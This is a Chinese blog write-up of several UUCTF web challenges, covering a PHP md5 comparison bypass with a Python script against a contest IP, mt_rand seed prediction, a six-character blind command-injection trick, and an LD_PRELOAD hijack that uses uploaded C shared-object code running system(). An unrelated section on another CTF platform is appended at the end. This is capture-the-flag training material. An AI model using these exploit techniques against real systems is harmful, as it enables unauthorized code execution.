UUCTF部分web题解

前言

这次比赛结束有一段时间了,在此总结一些当时没有做出来的web题解。也当是收集到一些学习经验。

funmd5(php代码审计)

打开题目,是一段php代码:

<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
    $sub=substr($time,-1);
    $md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
    if(preg_match('/0e/',$md5[0])){
        $md5[0]=substr($md5[0],$sub);
        if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
            echo "well!you win again!now flag is yours.<br>";
            echo $flag;
        }
        else{
            echo $md5[0];
            echo "oh!no!maybe you need learn more PHP!";
        }
    }
    else{
        echo "this is your md5:$md5[0]<br>";
        echo "maybe you need more think think!";
    }
}
else{
    highlight_file(__FILE__);
    $sub=strlen($md5[0]);
    echo substr($guessmd5,0,5)."<br>";
    echo "plase give me the md5!";
}
?>

当时困扰我的是数组的传参问题,现在也算是明白了。get传值,代码很容易读懂,看第一层限制:

$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);

不想0e被替换,那么用%0a换行绕过就行了,那么看第二层限制:

$time=time();
$guessmd5=md5($time);
$sub=substr($time,-1);
$md5[0]=substr($md5[0],$sub);
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){

time函数返回时间戳,找一个字符串的md5值等于它本身,来满足第一个弱比较,但是在此之前会对md5[0]有一个截取操作,从哪截取与时间戳的最后一个数字有关,先不用管,看第二个满足条件,需要去强等时间戳的md5值,那么我们可以卡个满足条件的时间手动发包,但是比较考验手速,用python发包更加的稳。

import requests
import hashlib
import time

for i in range(10000):
	times = str(int(time.time()))
	md5 = hashlib.md5(times.encode())
	md5value = md5.hexdigest()
	url = "http://43.143.7.97:28023/index.php?md5[]=%0a%0d0e215962017&md5[1]={}".format(md5value)
	res = requests.get(url=url)
	if "NSS" in res.text:
		print(res.text)
		break

也是很快得出flag了。

phonecode(随机数预测)

知道考预测随机数,但是不知道怎么解题。题目中给的hint是由我们提交的phone控制的,就用它给的hint来爆破随机数种子,并且在code那里填写下一个随机数就可以得到flag。但是我试了很多次,预测出的随机数都得不出flag,看了别的师傅写的wp,在phone提交12345678909后返回的随机数来预测下一个随机数才能得到flag。 why?

题目中的php版本为7.2,所以用最后一个随机数种子预测出随机数,

<?php
mt_srand(3755744317);
for($i=0;$i<10;$i++){
    echo mt_rand()."\n";
}
?>

 

最后提交预测的随机数就得出flag了。

ezrce(六字符无回显rce)

打开题目是一个命令执行接口,

 

限制了输入的字符最多为六个并且无回显,常规思路就是将命令执行结果写入文件,这一题比较坑的就是你命令执行成功了给你回显命令执行失败。并且写入的文件在tmp目录下。我们输入命令

ls />a

 访问tmp目录下的a文件

尝试构造命令nl /*>a,这是七个字符。还有个更巧妙的方法,创建一个名为nl的文件,再用*将文件名当作命令执行。payload为

>nl
* /*>a

 访问/tmp/a,成功得到flag。

uploadandinject(恶意so文件加载)

打开题目先信息收集,题目提示访问hint.php,

提示我们有index.php的swp文件泄露,在url访问.index.php.swp,(做题时前面没加点,一直访问错误)访问url下载好文件打开是有乱码的,所以我们得用vim来打开它,使用命令:

vim -r index.php.swp

 

 重点代码:

putenv("LD_PRELOAD=/var/www/html/$img_path");

它会将LD_PRELOAD环境变量指向我们可控的文件路径,一看见这个LD_PRELOAD环境变量,肯定就会想到让它来加载恶意so文件劫持函数执行命令。那么我们能够找到一个上传点去上传我们构造的恶意so代码,dirsearch扫一下目录,发现上传点upload/upload.php,

白名单限制,直接上传木马是不现实的,我们上传恶意so文件更改后缀名为jpg,对后续的加载是无影响的,但目前来说,还有一个点。一般情况来说,我们还需要再上传一个php文件,来让它调用mail这样的函数来开启一个新的进程,应为启动一个新的进程的时候,会去加载LD_PRELOAD指向的恶意so文件。很显然,上传点是上传不了php文件的,看了别的师傅写的wp,源代码中的

echo "<br><img src=$img_path>"

 这一句代码可以触发加载so文件(具体原因不明),那么说到这里,所有条件就满足,这里直接编写网上最流行通杀恶意c代码,

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void payload (void){
    unsetenv("LD_PRELOAD");
    system("cat /f*");
}

使用命令将c文件加载为so文件:

gcc -shared -fPIC hacker.c -o hacker.so

接下来就上传so文件然后加载它就能执行system命令进而得出flag。

### 青少年CTF练习平台Web挑战题解和教程 #### Web EasyMD5 解析 在青少年CTF擂台挑战赛2024 round#1中,有一道名为EasyMD5的题目。这道题目的设计非常适合初学者尝试解决,尽管它要求参与者具备一定的web安全基础知识以及创新思维能力[^1]。 对于此题的具体解法如下: ```python import hashlib def solve_easy_md5(given_hash): # 假设给定的是md5哈希值 for i in range(10000): # 尝试暴力破解四位数以内的情况 test_str = str(i).zfill(4) if hashlib.md5(test_str.encode()).hexdigest() == given_hash: return test_str raise ValueError("No solution found") # 使用方法 (假设已知hash为'827ccb0eea8a706c4c34a16891f84e7b') print(solve_easy_md5('827ccb0eea8a706c4c34a16891f84e7b')) ``` 这段Python脚本展示了如何通过枚举可能的输入来找到与给出散列匹配的结果字符串。当然,在实际比赛中还需要考虑更多细节和技术手段去优化效率或处理更复杂的情形。 #### 处理靶机Flash Error的问题 当遇到某些特定条件下会出现页面刷新并显示错误提示的现象时,可以采用Burp Suite这样的工具来进行中间人攻击测试。具体来说就是利用BP抓取请求数据包之后修改其中的内容再发送回去完成答题过程。这种方法虽然相对较为复杂些,但对于熟悉网络协议分析的人来说并不困难,并且能够有效规避因服务器端配置不当所引起的异常情况[^2]。 #### Emoji表情包编码解析 在一个关于Crypto分类下的easy级别题目里提到过一种有趣的加密方式——使用emoji作为字符集进行BaseN变换后再经过其他形式的编码转换最终形成flag。这里的关键在于识别出正确的编/解码路径从而还原原始信息。例如先将看到的一系列图标按照某种规则映射成ASCII码或其他常见字符集合成员;接着可能是多次迭代不同的编码算法直到获得可读文本为止[^3]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值